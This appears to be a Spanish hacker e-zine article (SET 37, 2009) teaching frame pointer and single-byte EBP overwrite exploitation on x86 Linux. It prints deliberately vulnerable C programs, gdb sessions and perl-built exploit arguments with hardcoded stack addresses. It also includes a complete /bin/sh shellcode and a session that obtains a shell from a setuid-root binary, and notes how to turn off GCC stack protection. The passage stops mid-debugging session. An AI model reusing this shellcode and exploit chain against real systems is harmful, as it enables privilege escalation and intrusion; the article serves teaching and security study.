-[ 0x02 ]-------------------------------------------------------------------- -[ Jugando con Frame Pointer ]----------------------------------------------- -[ by blackngel ]----------------------------------------------------SET-37-- ^^ *`* @@ *`* HACK THE WORLD * *--* * ## by blackngel || * * * * (C) Copyleft 2009 everybody _* *_ 1 - Introduccion 2 - Abuso del Frame Pointer 2.1 - Analisis del Problema 2.2 - Ejecucion de Codigo 3 - Un Solo Byte 3.1 - Situacion Ideal 3.2 - GCC 4.1 en Accion 4 - Conclusion ---[ 1 - Introduccion Lo que nos traemos entre manos son temas sobre explotacion de vulnerabilidades. Ya que el abuso clasico de overflows es un asunto que va perdiendo su interes a medida que se repiten las mismas tecnicas hasta la saciedad, este articulo pretende abrir otras perspectivas a temas un poco mas avanzados. El articulo no contiene informacion nueva, y admite que se basa directamente en papers como el primero de Phrack [1], en el que se describe la tecnica de abuso de un solo byte alterado en el Frame Pointer y otros que explican de una u otra forma como aprovechar una sobrescritura completa de este mismo registro. No obstante, este articulo no es ni por asomo una traduccion, se basa en la experiencia personal y en ejemplos particulares estudiados por su autor. Sencillamente vengo a cubrir un espacio vacio que no parece tener mucho interes en ser tratado ampliamente por los hispano-hablantes. Al menos no es demasiado facil encontrar esta clase de informacion en nuestro idioma. Disfruta del contenido que aqui presentamos y ya tendras tiempo de sobra para formular tu propia opinion al respecto. ---[ 2 - Abusar el Frame Pointer A estas alturas incluso mi querida madre, que no tiene mucha idea de PC's, entiende como sobreescribir EIP. Es un cuento antiguo y muy explorado. Pero desgraciadamente (o no para los que adoramos nuevos retos), existen situaciones en que las condiciones de un desbordamiento son limitadas. A veces una comprobacion erronea en los limites de los buffers o las longitudes de las cadenas que los ocupan, puede llevar a la sobreescritura de registros del sistema. Pero en el mundo real no siempre EIP es alcanzable, y los gurus de la seguridad informatica vinieron a demostrar que era posible llegar a ejecucion de codigo arbitrario sobreescribiendo tan solo el registro base, conocido por muchos como Frame Pointer o registro EBP. Seguidamente detallaremos el problema y como sacar provecho de el en nuestro beneficio. ---[ 2.1 - Analisis del Problema Debemos entender en primera instancia que es lo que ocurre en el momento en que se ejecuta un procedimiento (funcion) y que en el momento en que se sale de el. Lo primero que hace un programa antes de entrar en una funcion mediante la instruccion CALL, es pushear en la pila (stack) el registro EIP que volvera a tomar de la misma cuando vuelva de ella con la instruccion RET. Despues de pushear EIP se entra directamente en la primera direccion en la que comienza el codigo de la funcion y nos encontramos con el clasico prologo: 0x0804xxxx : push %ebp 0x0804xxxx : mov %esp,%ebp 0x0804xxxx : sub $0x100,%esp Es decir, que despues de EIP, se pushea EBP (Frame Pointer). Luego se crea un "marco local" (de ahi el nombre del registro ebp) igualando EBP con el lugar a donde apunta ESP (cima de la pila) y se decrementa ESP para hacer hueco a las variables declaradas como locales. Entonces nos queda en el stack algo como esto: [ EIP ] [ EBP ] [ local var ] [ local var ] [ ... ] ------------- <- ( %ESP ) Apunta aqui Bien. Imaginese entonces que ahora dentro de la citada funcion se encuentra una llamada vulnerable a strcpy() o strncpy() que permita desbordar un buffer local de tamaño fijo. Lo que importa a aquellos que pueden sobreescribir directamente EIP, es que la instruccion ret tomara su nuevo registro sobreescrito como direccion EIP real en lugar de la que anteriormente habia pusheado CALL. Con esto basta para bifurcar el codigo original a una Shellcode colocada donde el atacante desee. ¿Pero que ocurre si las funciones vulnerables solo nos dan espacio para alterar los 4 bytes que componen EBP? Pues que el estudio debe de ir un poco mas lejos. Aqui es donde los "epilogos de funcion" toman relevancia. Veamos que instrucciones se ejecutan alli: 0x0804xxxx : movl %ebp,%esp 0x0804xxxx : popl %ebp 0x0804xxxx : ret Las dos primeras instrucciones son ejecutadas en la actualidad dentro de una: 0x0804xxxx : leave 0x0804xxxx : ret Pero el efecto es equivalente. Lo que ocurre es que el Frame Pointer actual es pasado al registro ESP, y seguidamente el registro EBP es popeado antes de volver a la funcion llamadora. ¿Que significa esto? Para que nadie se confunda... la primera instruccion es irrelevante, ya que el registro EBP que se copia en ESP no es el que hemos desbordado, sino el nuevo apuntador local que se creo en el prologo con "movl %esp, %ebp". Lo importante es la instruccion "popl %ebp". Esta instruccion si restaura nuestro registro modificado en la pila y por tanto quedara alterado. Entonces la funcion retorna. Veamos que hemos logrado: Situacion normal: Situacion overflow: [ EIP ] [EIP] [ EBP guardado ] [0x41414141] [ buffer ] [AAAAAAA...] ---------------- ------------ Despues de haber conseguido un overflow de EBP, la instruccion "popl %ebp" recogera de la pila la direccion "0x41414141" como si fuera el EBP guardado en el prologo. Una vez la funcion retorna, solo hemos logrado modificar el Frame Pointer, y como EIP sigue intacto, el programa seguira su curso normal sin bifurcar a ningun codigo de nuestra eleccion. Pero esto no se ha acabado, veamos que ocurre en la funcion que ejecuto el "CALL"... Como comprenderas, el codigo ejecutor de la llamada "CALL" es a su vez otra funcion, ya sea main() u otra cualquiera. Por lo tanto, dispondra de un "epilogo" como el resto. Veamos como esto afecta a nuestro ejemplo: 0x0804xxxx : movl %ebp,%esp 0x0804xxxx : popl %ebp 0x0804xxxx : ret Otra vez las mismas instrucciones. Pero ahora hay algo mas interesante. La primera instruccion que antes dejabamos de lado, ahora cobra vida. Nuestro registro EBP modificado es pasado a ESP, luego el EBP guardado por "main()" (este no es nuestro EBP modificado) es popeado de la pila y la funcion retorna. Veamoslo graficamente: movl %ebp,%esp -> movl 0x41414141,%esp -> ESP = 0X41414141 Hemos logardo modificar ESP a traves del EBP alterado dentro de "funcion()". Recuerda que ESP es un apuntador a la cima de la pila, y aumenta o decrementa su direccion a media que los elementos son "popeados" o "pusheados" en la misma. ¿Que obtenemos entonces tras la instruccion "popl %ebp"? Pues que ESP aumenta su direccion 4 bytes. (Recuerda que la pila crece hacia las direcciones bajas de memoria). Nos queda: ESP + 4 = 0x41414141 + 4 = [ 0x41414145 ] De esto sacamos que si deseamos un "0x41414141" en ESP, debemos desbordar EBP previamente con la direccion deseada menos cuatro bytes, "0x4141413d". Vale, antes habiamos modificado EBP y preguntabas: ¿Y que? Ahora hemos logrado modificar ESP y te preguntas: ¿Y que? Pues resulta que el comportamiento normal de un procedimiento, es que al volver de este, se busca por una direccion situada dentro de la direccion contenida en ESP, y se toma como si fuera el nuevo EIP. Graficamente se vera mas claro. Imaginate que hubisemos logrado modificar ESP con "0xbfffed88": ESP = 0xbfffed88; Al final del procedimiento se mira el contenido de la direccion en ESP. Piensa que dentro de esta estuviera: Contenido de 0xbfffed88 -> 0xbfffd2ab Pues esta ultima direccion se toma como EIP y se ejecuta el codigo que alli se encuentra. ¿Y que si modificamos ESP, para que apunte a un lugar donde colocamos una direccion de nuestra eleccion, que a su vez apunte a un Shellcode tradicional? La solucion en la siguiente seccion. ---[ 2.2 - Ejecucion de Codigo Me gusta llamar a lo que acabamos de describir en la seccion anterior como: "Un Doble Salto" Es decir, no se ejecuta el codigo contenido en la direccion modificada. Sino que se ejecuta el codigo contenido dentro de la direccion contenida en la direccion modificada. Mas claro: [ESP alterado] -> Apunta a -> [direccion elegida] -> Apunta a -> [Shellcode] ^ ^ | | EIP tomara este valor y ejecutara esto - Dado que este articulo se basa en un paradigma conocido como "Teoria a traves de la Practica", presentaremos a continuacion un ejemplo de programa vulnerable y veremos hasta que punto podemos explotarlo para llegar a ejecucion de codigo arbitrario. [-----] #include #include #include int limit, c; int getebp() { __asm__("movl %ebp, %eax"); } int proc(char *nombre) { int *i; char buffer[256]; i = (int *) getebp(); limit = *i - (int)buffer + 4; for (c = 0; c < limit && nombre[c] != '\0'; c++) buffer[c] = nombre[c]; printf("\nEncantado de conocerte: %s\n", buffer); return 0; } int main(int argc, char *argv[]) { if (argc < 2) { fprintf(stderr, "\nUso: %s \n", argv[0]); exit(0); } proc(argv[1]); return 0; } [-----] Este programa es tan solo un pelin mas raro que los tipicos que encontraras en un monton de articulos. Esta extraido en parte de un reto presentado en "smashthestack.org". A pesar de que "proc()" parezca algo enrevesado, no es para tanto. Lo que se calcula en "limit" es la distancia que hay entre la direccion de "buffer[]" y la direccion de EBP. Como el puntero "*i", que ocupa 4 bytes, se situa en la pila entre "buffer[]" y EBP, la distancia de estos dos ultimos sera de 260 bytes. A esto se le suma un "4" , y he aqui el bug, 4 bytes sobrantes que permiten sobreescribir EBP. Podriamos utilizar el entorno u otros argumentos pasados al programa para situar nuestra shellcode o direccion de retorno. Pero en este caso veremos como hacerlo todo directamente desde argv[1], cuyo contenido sera pasado a "buffer". Segun lo explicado en la seccion anterior, lo que necesitamos dentro del buffer es: 1) Una direccion que sobreescriba EBP y apunte al contenido de otra direccion. 2) Una direccion dentro del buffer que apunte a nuestro Shellcode. 3) Un Shellcode que ejecute "/bin/sh" (tal vez con llamada setreuid()). Nuestro buffer puede tener distintas formas, por ejemplo: [ BUFFER ] [ *i ] [ EBP ] [ EIP ] ------------------------------------------------------------- [ DIRECCION DE SC ] [ RELLENO ] [ SHELLCODE ] [ RET ] [ EIP ] [ SHELLCODE ] [ RELLENO ] [ DIRECCION DE SC ] [ RET ] [ EIP ] [ DIRECCION DE SC ] [ SHELLCODE ] [ RELLENO ] [ RET ] [ EIP ] Pero lo importante es que se cumpla lo siguiente: o---------o [ EBP ] | \ [ DIRECCION DE SC ] [ SHELLCODE ] [ RELLENO ] [ RET ] [ EIP ] ^ | o------------------------------------------------o Puedes ver que da igual donde se situe shellcode o la direccion por la que es apuntada siempre que el encadenamiento sea correcto. Es por ello que podrias situar por ejemplo la direccion al Shellcode en una variable de entorno, hacer que esta apunte a ARGV[2] si situas alli la misma, siempre que hagas que RET (que sobreescribe EBP) apunte a la direccion de la variable de entorno. No olvides que debes restar un "4" al valor de esta direccion. Al final todo son posiciones de memoria y puedes andar saltando de una a otra todas las veces que te apetezca. Tomaremos como ejemplo el ultimo ordenamiento de buffer mostrado por ser el mas sencillo. Cuando sepas jugar con las direcciones podras probar el resto. 1) Lo primero que necesitamos es una direccion con la que sobreescribir EBP, y la condicion es que apunte a [ DIRECCION DE SC ], que es la misma direccion que el inicio de nuestro "buffer" (por eso es sencillo). 2) Luego [DIRECCION DE SC], tiene que apuntar a donde se encuentra nuestro [ SHELLCODE ], que en este ejemplo sera 4 bytes mas lejos que la posicion de memoria donde se encuentra [ DIRECCION DE SC ] (por eso es sencillo). Compilemos el programa vulnerable y veamos entonces como obtener la direccion del inicio de nuestro "buffer" a desbordar: * NOTA: Las pruebas han sido realizadas con gcc-3.3, a partir de la 4.1 se establecen protecciones de pila por defecto. blackngel@mac:~/pruebas/bof$ gcc-3.3 saludo.c -o saludo blackngel@mac:~/pruebas/bof$ ls -al saludo -rwxr-xr-x 1 blackngel blackngel 6977 2009-01-12 15:54 saludo blackngel@mac:~/pruebas/bof$ sudo chown root:root ./saludo blackngel@mac:~/pruebas/bof$ sudo chmod u+s ./saludo blackngel@mac:~/pruebas/bof$ ls -al saludo -rwsr-xr-x 1 root root 6977 2009-01-12 15:54 saludo Demostremos antes de nada que todo lo dicho hasta ahora es cierto: [-----] blackngel@mac:~/pruebas/bof$ gdb ./saludo GNU gdb 6.8-debian Copyright (C) 2008 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "i486-linux-gnu"... (gdb) disass proc Dump of assembler code for function proc: 0x080483fb : push %ebp 0x080483fc : mov %esp,%ebp 0x080483fe : sub $0x128,%esp [-----] Bueno, como esto es un ejemplo real, hay problemas reales. Vemos que la instruccion "sub $0x128,%esp", reserva 296 bytes para nuestro "buffer" y el puntero "*i", cuando deberia haber reservado: 256 + 4 = 260. Los compiladores hacen este tipo de cosas debido a temas de alineacion y optimizacion, pero en nuestro ejemplo eso no sera un impedimento, ya que controlamos exactamente hasta donde podemos escribir. Sigamos: [-----] 0x08048486 : mov $0x0,%eax 0x0804848b : leave 0x0804848c : ret End of assembler dump. (gdb) break *proc+145 // Detener despues de "leave" Breakpoint 1 at 0x804848c (gdb) run `perl -e 'print "A"x265'` Starting program: /home/blackngel/pruebas/bo/saludo `perl -e 'print "A"x265'` Encantado de conocerte: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ?G Breakpoint 1, 0x0804848c in proc () Current language: auto; currently asm (gdb) info reg ebp ebp 0xbffff441 0xbffff441 // EBP tocado [-----] Con una longitud de 265 hemos sobreescrito un byte de EBP. Entonces con 268 alteraremos sus cuatro bytes. [-----] (gdb) run `perl -e 'print "A"x268'` .... .... Breakpoint 1, 0x0804848c in proc () (gdb) info reg ebp ebp 0x41414141 0x41414141 // EBP hundido (gdb) info reg eip eip 0x804848c 0x804848c [-----] En otra situacion pensarias que sobreescribiendo 4 bytes mas alla (272), tendrias el control de EIP en tus manos. Comprobemos que no es cierto: [-----] (gdb) run `perl -e 'print "A"x272'` ..... ..... Breakpoint 1, 0x0804848c in proc () (gdb) info reg ebp ebp 0x41414141 0x41414141 (gdb) info reg eip eip 0x804848c 0x804848c [-----] Exacto, EIP sigue poseyendo su anterior valor, erroneo por cierto, pero no el que nosotros deseamos. De momento, lo unico que tenemos es una "Denegacion de Servicio" (DoS). Bien, como dijimos lo primero a obtener es la direccion de nuestro "buffer", que sera al tiempo la direccion de [DIRECCION DE SC]. El registro ESP apunta al principio de las variables locales, si lo consultamos despues de que "ARGV[1]" haya sido copiado en "buffer[]", y antes de que se ejecute la instruccion "leave" (recuerda que modifica a %esp), muy cerca encontraremos el principio de "buffer" [-----] blackngel@mac:~/pruebas/bo$ gdb -q ./saludo (gdb) disass proc Dump of assembler code for function proc: 0x080483fb : push %ebp 0x080483fc : mov %esp,%ebp 0x080483fe : sub $0x128,%esp 0x08048404 : call 0x80483f4 .......... .......... 0x08048486 : mov $0x0,%eax 0x0804848b : leave 0x0804848c : ret End of assembler dump. (gdb) break *proc+139 // Entre el volcado y "leave" Breakpoint 1 at 0x8048486 (gdb) run `perl -e 'print "A"x268'` Starting program: /home/blackngel/pruebas/bo/saludo `perl -e 'print "A"x268'` Breakpoint 1, 0x08048486 in proc () Current language: auto; currently asm (gdb) x/24 $esp 0xbffff310: 0x080485b4 0xbffff330 0x00000000 0x00000000 0xbffff320: 0x00000000 0x00000000 0xb7ffb59c 0xbffff308 0xbffff330: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff340: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff350: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff360: 0x41414141 0x41414141 0x41414141 0x41414141 (gdb) [-----] Ya tenemos lo que buscabamos, la direccion de inicio de nuestro buffer en: Inicio buffer -> [ 0xbffff330 ] Si ahora sobreescribieramos EBP con esta direccion, ESP tambien tomaria ese valor al final de main() y despues de la instrucion "ret" se comprobaria que hay dentro de ella, en este caso [ 0x41414141 ], EIP tomaria ese valor e intentaria ejecutar el codigo que alli se encuente. Veamoslo: [-----] (gdb) disass main Dump of assembler code for function main: 0x0804848d : push %ebp 0x0804848e : mov %esp,%ebp 0x08048490 : sub $0x18,%esp .......... .......... 0x080484d8 : call 0x80483fb 0x080484dd : mov $0x0,%eax 0x080484e2 : leave 0x080484e3 : ret End of assembler dump. (gdb) break *main+86 // Despues de EBP modificado Breakpoint 2 at 0x80484e3 (gdb) run `perl -e 'print "A" x 264 . "\x30\xf3\xff\xbf";'` Breakpoint 1, 0x08048486 in proc () (gdb) c // EBP ya fue alterado Continuing. Breakpoint 2, 0x080484e3 in main () (gdb) info reg esp // ESP = EBP + 4 esp 0xbffff334 0xbffff334 (gdb) x/x $esp 0xbffff334: 0x41414141 (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb) [-----] Bingo! Solo nos equivocamos en algo, y es que como dije anteriormente, la instruccion "popl %ebp" provoca un aumento de 4 bytes en ESP, de ahi que acabe en 34 y no 30 como habiamos pensado. De modo que para conseguir apuntar al principio del "buffer" debemos sobreescribir EBP con [ 0xbffff32c ]. En [ 0xbffff330 ] debemos colocar otra direccion que apunte a nuestra Shellcode, y como la Shellcode ira justo despues de esta direccion, es decir, 4 bytes mas alla, pues su direccion sera [ 0xbffff334 ] (esta es la direccion real, aqui no hay nada que restar ni sumar). Lo que tenemos en mente es esto pues: [ BUFFER ] [ *i ] [ EBP ] [ EIP ] [ 0xbffff334 ] [ SHELLCODE ] [ RELLENO ] [ 0xbffff32C ] [ EIP ] ^ ^ 0xbffff330 0xbffff334 A estas alturas dare por supuesto que sabes como elegir una Shellcode para Linux y volcarla en un fichero, por ejemplo "/tmp/sc". Sere bueno, algo asi: $ echo `perl -e 'print "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46 \x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd \x80\xe8\xdc\xff\xff\xff/bin/sh";'` > /tmp/sc Pongamos en practica nuestra tecnica: [-----] (gdb) disass proc Dump of assembler code for function proc: 0x080483fb : push %ebp 0x080483fc : mov %esp,%ebp 0x080483fe : sub $0x128,%esp .......... .......... 0x08048486 : mov $0x0,%eax 0x0804848b : leave 0x0804848c : ret End of assembler dump. (gdb) break *proc+145 // Tras recuperar EBP alterado Breakpoint 3 at 0x804848c (gdb) run `perl -e 'print "\x34\xf3\xff\xbf";'``cat /tmp/sc` `perl -e 'print "A"x215 . "\x2c\xf3\xff\xbf";'` .......... .......... .......... Breakpoint 1, 0x08048486 in proc () // Se detiene antes de "leave" (gdb) c Continuing. Breakpoint 3, 0x0804848c in proc () // Se detiene despues de "leave" (gdb) info reg ebp ebp 0xbffff32c 0xbffff32c // EBP alterado (gdb) c Continuing. Breakpoint 2, 0x080484e3 in main () // Se detiene despues de "leave" (gdb) info reg esp esp 0xbffff330 0xbffff330 // ESP = EBP + 4 (gdb) x/x $esp 0xbffff330: 0xbffff334 // ESP contiene [ DIRECCION SC ] (gdb) c Continuing. // EIP ejecuta Shellcode ..... ..... sh-3.2$ // Sorpresa !!! [-----] Aja, ya es nuestro! Y hasta aqui la idea principal. Ahora ya sabes como controlar el Frame Pointer para diversion y beneficio. Sobre todo para diversion, ¿NO? };-D ---[ 3 - Un Solo Byte Nuevamente, en la vida real, siguen existiendo situaciones mas complejas que la que acabamos de ver hace un momento. Tal vez por una confusion a la hora de determinar donde acaba el byte "\0" de fin de cadena o por cualquier otro descuido, existen programas que permiten la la alteracion del ultimo byte de EBP. Quizas sea el destino, o tal vez la suerte, pero gracias a la estructura "little-endian" podemos modificar este ultimo byte en beneficio propio. Ahora si, veamos el programa tal cual fue extraido de uno de los retos propuestos por "smashthestack.org". [-----] #include #include #include int limit, c; int getebp() { __asm__("movl %ebp, %eax"); } void f(char *s) { int *i; char buf[256]; i = (int *) getebp(); limit = *i - (int)buf + 1; for (c = 0; c < limit && s[c] != '\0'; c++) buf[c] = s[c]; } int main(int argc, char **argv) { int cookie = 1000; f(argv[1]); if ( cookie == 0xdefaced ) { setresuid(geteuid(), geteuid(), geteuid()); execlp("/bin/sh", "/bin/sh", "-i", NULL); } return 0; } [-----] ---[ 3.1 - Situacion Ideal En la teoria, podemos escribir en "buf" 261 caracteres (bytes). Digo en la teoria, porque si volvemos a los problemas de alineacion esto no siempre sera asi. Se vera en las siguientes secciones cuando tratemos de explotarlo. En la teoria, digo, tenemos la capacidad de sobreescribir por entero el puntero "*i" y adicionalmente el primer byte del registro EBP (nuestro querido Frame Pointer). Como se menciono al principio de este articulo, esta tecnica ya fue descrita por "klog" en su articulo "The Frame Pointer Overwrite". Pero alli se describio la "Situacion Ideal", en la que todos los condicionantes previos se ponian del lado del atacante. Ya comentada la tecnica sobre el abuso de EBP, no comenzaremos una introduccion desde el principio. Pero veamos que ocurre: Situacion normal (ejemplo): [ BUFFER (256 bytes) ] [ *i (4bytes) ] [ EBP ] [ BLACKNGEL ] [ 0x08048358 ] [ 0xbfffef8a ] Situacion ataque: [ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ] [ 0x41414141 ] [ 0xbfffef41 ] * NOTA: Las direcciones se colocan en memoria en modo little-endian (al reves vamos). Poder sobreescribir un solo byte de EBP, no es la panacea, pero si lo suficiente como para lograr ejecutar codigo arbitrario. Veamos la situacion ideal que presenta "klog". Se pretende atacar el buffer con una ordenacion como la siguiente: [ NOPS ] [ SHELLCODE ] [ DIRECCION DE SC] [ 1 BYTE PARA ALTERAR EBP ] ***** Quizas ahora te estes preguntando por que no utilizamos en el exploit anterior un relleno de NOPS tipo: [ DIRECCION SC ] [NOPS] [ SHELLCODE ] [ RET ], lo cual facilita enormemente el ataque. Ya me conoces... si sabes hacer algo de forma milimetrica, tienes tiempo de sobra para hacerlo mas facil con un poco de ayuda. ***** Continuamos, "klog" propone las siguientes condiciones: 1) Que EBP contiene una direccion como: [ 0xbfffefxx ]. 2) Que BUFFER se encuentra en una direccion igual: [0xbfffefxx] 3) Que BUFFER es lo suficientemente grande como para albergar Shellcode y la direccion por la que es apuntada. 4) Y que gracias a esto podemos colocar una direccion en BUFFER apuntando a un Shellcode, y hacer que EBP, y por lo tanto ESP, apunten a esta direccion solo modificando el ultimo byte. Si esta situacion se presenta en la realidad, estariamos realizando exactamente el mismo ataque que estudiamos en secciones previas. Tanto EBP como la direccion en memoria del BUFFER tienen que cumplir la condicion de que sus 3 primeros bytes sean igual. Solo entonces podremos jugar con los ultimos bytes. ¿Cual es el problema entonces? El de siempre, ¿que ocurre si el tamaño del buffer no es lo suficientemente grande? Entonces tendremos que buscarnos la vida para colocar nuestra Shellcode en otro lugar y apuntar correctamente a ella. Mas adelante veremos como salvar esta situacion sin salirnos de los mismos argumentos del programa. Trabajar con el entorno queda de deberes para el lector. Llevemos a la practica antes de nada la tecnica de "klog": Cuando iniciamos un ataque de esta clase no importa mucho donde coloquemos la Shellcode. Lo unico que es relevante es lograr meter la direccion que apunta hacia ella en alguna posicion de memoria cuyos 3 primeros bytes sean iguales a los del EBP guardado. Recordemos algo interesante antes de comenzar. Cuando iniciamos el estudio del primer exploit, fuimos capacaces en un principio de sobreescribir el primer byte de EBP, y vimos una direccion como esta: [ 0xbffff441 ] -> RAIZ = [ 0xbffff4 ] - 4º BYTE [ 0x41 ] Cuando descubrimos el comienzo del buffer vimos que era: [ 0xbffff330 ] -> RAIZ = [ 0xbffff3 ] - 4º BYTE [ 0x30 ] Si nosotros colocaramos esta vez [ DIRECCION DE SC ] al principio del buffer, dado que las raices de las direcciones de "buffer" y "EBP" no coinciden, no podriamos alcanzarlo de ninguna manera alterando solamente el ultimo byte. Pero por suerte podemos colocar [ DIRECCION DE SC ] donde mas nos apetezca, y como el final del buffer si esta en una posicion de memoria cuya raiz coincide con EBP, esa es la razon de la disposicion del "pastel" que ha previsto "klog". En realidad, en nuestro ejemplo, no colocamos esa direccion al final de "buffer" sino sobreescribiendo el puntero "*i", que se encuentra entre nuestro buffer y EBP. Basta de palabras y vamos directamente al debugging: [-----] blackngel@mac:~/pruebas/bo$ gdb -q ./f1 (gdb) disass f Dump of assembler code for function f: 0x080483eb : push %ebp 0x080483ec : mov %esp,%ebp 0x080483ee : sub $0x118,%esp .......... .......... 0x08048456 : jmp 0x8048419 0x08048458 : leave 0x08048459 : ret End of assembler dump. (gdb) break *f+109 // Detener en "leave" sin ejecutar Breakpoint 1 at 0x8048458 (gdb) break *f+110 // Detener despues de "leave" Breakpoint 2 at 0x8048459 (gdb) run `perl -e 'print "A"x280'` // Probamos suerte Starting program: /home/blackngel/pruebas/bo/f1 `perl -e 'print "A"x280'` Breakpoint 1, 0x08048458 in f () Current language: auto; currently asm (gdb) x/24x $esp 0xbffff300: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff310: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff320: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff330: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff340: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff350: 0x41414141 0x41414141 0x41414141 0x41414141 (gdb) x/24x $esp-8 0xbffff2f8: 0xbffff418 0x080483f9 0x41414141 0x41414141 0xbffff308: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff318: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff328: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff338: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff348: 0x41414141 0x41414141 0x41414141 0x41414141 (gdb) c Continuing. Breakpoint 2, 0x08048459 in f () (gdb) info reg ebp ebp 0xbffff448 0xbffff448 // EBP no tocado (gdb) run `perl -e 'print "A"x281'` // Provamos suerte otra vez Starting program: /home/blackngel/pruebas/bo/f1 `perl -e 'print "A"x281'` Breakpoint 1, 0x08048458 in f () (gdb) c Continuing. Breakpoint 2, 0x08048459 in f () (gdb) info reg ebp ebp 0xbffff441 0xbffff441 // EBP tocado y casi hundido [-----] A destacar: 1) ESP apunta directamente al principio del buffer [ 0xbffff300 ] 2) EBP puede ser alterado en un byte con un buffer de 281 caracteres. Sin necesidad de debuggear, como la instruccion "sub $0x118,%esp" nos dice cuantos bytes han sido reservados podemos saber donde comienza el punter "*i" que vamos a sobreescribir: Direccion "*i" = [ 0xbffff300 ] + 118h - 4 = [ 0xbffff4414 ] Ahi colocaremos [ DIRECCION DE SC ] y ahi debe apuntar EBP. Repito por enesima vez, este valor se copia a ESP, y debido al "popl %ebp" en "main()" debes restar cuatro a la direccion. Por lo tanto: Nuestro byte modificador sera: [0x14] - 4 = [ 0x10 ] ¿Donde colocar el Shellcode? Para que mas trabajo... al principio del buffer ya que tenemos su direccion. PUES NO!!! Debes fijarte que el ultimo byte de esa direccion es "0x00", un byte nulo que finalizara la cadena pasada como argumento frustrando nuestras intenciones. Pero no lo liare mas, hagamos como "klog", rellenemos el principio del buffer con instrucciones NOP y saltemos en medio de ellos. Tenemos: [ BUFFER ] [ PUNTERO *i ] [ EBP ] [ EIP ] [ NOPS ][ SHELLCODE ] [ 0xbffff330 ] [ 0x10 ] [ EIP ] ^ ^ 0xbffff330 0xbffff4414 Tu mismo puedes intentarlo, ¿verdad? ---[ 3.2 - GCC 4.1 en Accion Al comienzo de la seccion 3, cai de nuevo en la tentacion de contaros una pequeña mentira, y lo hice. El codigo del reto comprobaba tambien que el numero de argumentos no fuera distintos a "2" (nombre programa y primer argumento), y lo mas importante y que ahora nos concierne, es que estaba compilado con la version 4.1 de GCC. Que hay de diferente? 1) Gcc-4.1 establece por defecto una proteccion contra los desbordamientos de pila que aborta la ejecucion del programa ante un intento de ataque. Si echamos un vistazo con "gdb" cerca del epilogo de la funcion "f()", observaremos algo como lo siguiente: 0x080484e0 : call 0x8048390 <__stack_chk_fail@plt> 0x080484e5 : leave 0x080484e6 : ret Esto nos previene de hacer jugadas no esperadas por el programa. Dije que por defecto esta opcion esta establecida, pero por suerte para etapas de investigacion esta puede ser deshabilitada si pasamos a gcc el paremtro: "-fno-stack-protector", en tiempo de compilacion. 2) El epilogo de la funcion principal "main()" tambien ha cambiado de modo que el valor de %esp ya no es obtenido de %ebp, y nuestros intentos son frustrados: 0x08048511 : pop %ebp 0x08048512 : lea 0xfffffffc(%ecx),%esp 0x08048515 : ret Podemos ver que %esp toma el valor final de %ecx menos 4. Solo veras cambiar estos valores si introduces argumentos de tamaño cada vez mas grande y siempre que "-fno-stack-protector" haya sido activado. Pero entonces, que hay acerca del reto? Veamos que nos depara gdb tras desensamblar main(): [-----] (gdb) disass main Dump of assembler code for function main: 0x08048472 : lea 0x4(%esp),%ecx 0x08048476 : and $0xfffffff0,%esp 0x08048479 : pushl 0xfffffffc(%ecx) 0x0804847c : push %ebp 0x0804847d : mov %esp,%ebp 0x0804847f : push %esi 0x08048480 : push %ebx 0x08048481 : push %ecx 0x08048482 : sub $0x2c,%esp .......... .......... 0x080484b1 : call 0x80483fb 0x080484b6 : cmpl $0xdefaced,0xfffffff0(%ebp) 0x080484bd : jne 0x8048506 0x080484bf : call 0x8048330 0x080484c4 : mov %eax,%ebx 0x080484c6 : call 0x8048330 0x080484cb : mov %eax,%esi 0x080484cd : call 0x8048330 0x080484d2 : mov %ebx,0x8(%esp) 0x080484d6 : mov %esi,0x4(%esp) 0x080484da : mov %eax,(%esp) 0x080484dd : call 0x80482f0 0x080484e2 : movl $0x0,0xc(%esp) 0x080484ea : movl $0x8048628,0x8(%esp) 0x080484f2 : movl $0x804862b,0x4(%esp) 0x080484fa : movl $0x804862b,(%esp) 0x08048501 : call 0x8048300 .......... .......... 0x08048511 : pop %ebp 0x08048512 : lea 0xfffffffc(%ecx),%esp 0x08048515 : ret End of assembler dump. (gdb) [-----] Lo primero que podemos notar es que el prologo es distinto, sintoma del cambio de version en el compilador. Pero la parte mas importante se encuentra aqui: 0x080484b1 : call 0x80483fb 0x080484b6 : cmpl $0xdefaced,0xfffffff0(%ebp) A pesar de Gcc-4.1, EBP puede ser alterado siempre que "-fno-stack-protector" este establecido. Una vez regresamos de "f()", la siguiente instruccion compara si en la posicion de memoria "EBP - 10" se encuentra el valor "0x0defaced". Pero, que hay en esa posicion tras haber modificado %ebp? [-----] (gdb) break *main+42 // Despues de f() y antes de la comparacion Breakpoint 1 at 0x8048490 (gdb) run `perl -e 'print "A"x281'` // Suficiente para alterar un byte en EBP Starting program: /home/blackngel/pruebas/bo/f1 `perl -e 'print "A"x281'` 